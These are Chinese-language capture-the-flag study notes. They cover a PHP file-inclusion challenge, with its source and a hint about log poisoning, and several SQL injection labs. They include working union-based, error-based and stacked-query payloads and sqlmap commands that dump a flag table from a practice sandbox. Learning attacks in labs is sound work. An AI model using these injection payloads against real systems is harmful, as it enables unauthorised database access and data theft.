目录
web 80
源码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-16 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-16 11:26:29
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
php伪协议被过滤掉了,试试将恶意代码写进日志文件中。
[强网杯 2019]随便注
输入1\发现为字符型注入。
用order by 试试它有多少的字段。
1' order by 3 #
发现3的时候报错,则它有2个字段,试试联合查询
1' union select 1,database()#
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);
发现它过滤了上面几个字段。
1';show databases;#
1'; show tables;#
1'; show columns from '1919810931114514';#
后面没做出来,可参考https://blog.csdn.net/qq_26406447/article/details/90643951
ctfhub sql
整数型注入
用order by语句,判断有多少字段
说明有2个字段
字符型注入
输入1\发现为字符型注入。
字段同样有2个。
1' order by 2 #
0' union select 1,database() #
0' union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'#
0' union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'#
0' union select 1,group_concat(flag) from flag#
报错注入
1 and updatexml(1,concat(0x7e,(select database())),1)
布尔盲注
使用sqlmap.
python sqlmap.py -u "http://challenge-1fe1de5088647260.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
python sqlmap.py -u "http://challenge-1fe1de5088647260.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag --columns
python sqlmap.py -u "http://challenge-1fe1de5088647260.sandbox.ctfhub.com:10800/?id=1" -D sqli -T flag -C flag --dump
时间盲注
这题也可以使用sqlmap工具,当然也可以手工注入(现在还不会)。